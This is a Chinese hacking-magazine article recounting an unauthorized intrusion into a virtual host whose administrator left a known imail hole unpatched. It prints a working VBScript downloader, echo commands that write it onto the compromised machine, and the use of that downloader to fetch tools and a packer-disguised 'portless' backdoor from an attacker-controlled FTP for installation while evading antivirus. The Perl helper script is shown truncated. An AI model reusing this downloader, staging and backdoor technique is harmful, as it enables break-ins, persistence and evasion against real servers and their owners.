文章作者:孟方明[-273℃@EST]
发表于《黑客X档案》某期杂志上(具体哪期我确实给忘了)
还记得不久前因为一个imail漏洞而轻松得到了一个虚拟主机的最高权限, 事隔也有一个多星期了吧。 本以为通知了管理员, 应该早就打上了(该漏洞的修补是很容易的)。 晚上1点1刻, 我完成了另一篇稿子的抓图工作后突然想去看看。 结果却让我甚是无奈, 如图一。

既然你那么不珍惜, 我不要白不要了, 可让我没想到的是明明已经得到了system权限, 整个入侵过程还是伤透了我的脑筋。 为什么??请往下看。
第一章 午夜被困
现在是凌晨1点25分33秒, 在我决定入侵的N秒后, 从图一中的 sourcepath = "\device\cdrom0\" 首先判断该操作系统是2000 pro(这种判断是我常用的判断方式, 一般情况如果你在查看c:\wintnt\ssytem32\$winnt$.inf这个文件时发现 sourcepath =后面的内容是"\device\cdrom0\"或者 "\device\cdrom0\PRO\"时说明系统是2000 pro, 如果在其后出现了SVR等字样时说明是2000服务器版, 可是我在这里却判断错了, 详情请继续往下看)。
这个shell本来就是 system权限的, 所以不存在权限提升的问题了, 本来想新建一个管理员, 然后开个telnet算了。 可是这个方法很快就被否定了, 因为对方只开放了 21, 25, 80, 110四个端口, 而我在shell里用netstat -an却发现不只这几个开放端口, 所以判断很可能有防火墙, 那么主动连接型的后门估计是没戏了。 先不管这个了, 看看该怎么上传吧!这个难不倒我, 第一个上的是tftp, 熟练地操作完毕, 结果如图二。

汗……看样子没那么简单。 没关系, 不是还有ftp嘛, 先把东东上传到偶的私人ftp上, 然后在肉鸡上如图三那样操作, 晕!竟然会出那种错误, 我有点坐不住了!

剩下的半个小时, 我就是在不断的更换再更换, 尝试再尝试已知的上传方式中度过。 在这段时间里, 唯一的收获就是找到了该虚拟主机的web目录, 于是我曾经尝试用echo命令一行一行地将一个有上传功能的asp写入到肉鸡的web目录里, 以便用http方式来上传。 可是写到一半就卡住, 原因就是那个该死的"&"符号, 大家都知道在cmd下"&"是用来连接两个命令的, 在asp的代码里会经常"&"是用来连接字符串的, 这就出了问题, 在我用echo命令写入 file.SaveAs Server.mappath(formPath&file.FileName) 时出现了如图四的问题。

在当时我可真是绝望透顶了, 因为我并不知道该怎么把"&"解决掉(不过后来过了几天, 我才知道再"&"前面加一个"^"就可以解决了!!!我差点没气死!!)。 于是, 我又在极度失望中找寻新的上传方法。
第二章 梦醒时分
在我证实了肉鸡上的cscript.exe 还是可用的后(不信管理员还能把它也干掉?), 决定还是把思路放到vbs上。 要找一个既可以上传又不需要"&"的vbs……对了!!记得在灰色看到过一个vbs脚本叫iget.vbs可以用XMLHTTP对象使用http将一个文件下载到本地!!于是赶紧的找到iget.vbs看看, 发现代码挺长而且也有"&"。 再仔细阅读代码后发现, 真正实现下载功能的就那么几行我整理成一个hget.vbs, 内容如下:
| On Error Resume Next Dim iRemote,iLocal iLocal = LCase(WScript.Arguments(1)) iRemote = LCase(WScript.Arguments(0)) Set xPost = createObject("Microsoft.XMLHTTP") xPost.Open "GET",iRemote,0 xPost.Send() Set sGet = createObject("ADODB.Stream") sGet.Mode = 3 sGet.Type = 1 sGet.Open() sGet.Write(xPost.responseBody) sGet.SaveToFile iLocal,2
|
哈哈!!不错!代码不长, 而且也没有"&"!!不过似乎还是长了点, 用echo命令一个一个来还是显得麻烦。 于是又想了一个办法, 用perl写了一个脚本echo.pl, 内容如下:
| #!usr/bin/perl -w
close MINE; close TEMP; 这样, 我在cmd下输入echo.pl hget.vbs回车后(当然你必须安装了activeperl), 就会在同目录下生成一个done.txt, 内容如下: echo On Error Resume Next >>hget.vbs echo Dim iRemote,iLocal >>hget.vbs echo iLocal=LCase(WScript.Arguments(1)) >>hget.vbs echo iRemote=LCase(WScript.Arguments(0)) >>hget.vbs echo Set xPost=createObject("Microsoft.XMLHTTP") >>hget.vbs echo xPost.Open "GET",iRemote,0 >>hget.vbs echo xPost.Send() >>hget.vbs echo Set sGet=createObject("ADODB.Stream") >>hget.vbs echo sGet.Mode = 3 >>hget.vbs echo sGet.Type = 1 >>hget.vbs echo sGet.Open() >>hget.vbs echo sGet.Write(xPost.responseBody) >>hget.vbs echo sGet.SaveToFile iLocal,2 >>hget.vbs
|
这样就方便多了, 然后我就可以全部复制, 然后在肉鸡的shell里单击鼠标右键就搞定了!如图五。

哈哈成功写入!!赶紧的试试看是否可以用如图六。

程序停止了一段时间(这段时间要看你的要下载的东东的大小了)。 看到了嘛, 那个wget.exe乖乖地躺在那呢(wget.exe是个cmd下的下载工具, 为什么要下载它呢?因为那个hget.vbs毕竟不太好用, 所以下个wget.exe方便点)。 好了!!一切似乎顺利得多了!下一步该找一个好的后门了。
第三章 这张旧船票还能登上你的船
根据肉鸡实际情况的考虑, 用主动型的后门是不行的。 那么最好用反弹的, 但是像灰鸽子之类的体积大不说了, 能不能逃过"条子"的眼睛还是个问题。 找来找去, 还是觉得portless好, 体积小, 平时不开端口, 想用的时候就可以激活。 不过这个后门也被"条子"们给盯上了, 还好还有没加过"伪装"的程序, 在本地配置好portless后(培植方法就不多说了, 地球人都知道), 换了一个新壳再上传到我的个人ftp上。 然后在肉鸡用wget.exe来下载, 如图七。

下载完后就是安装了, 如图八。

成功安装!看样子换了壳后逃过了"条子"的监视了。 我们来测试一下吧。














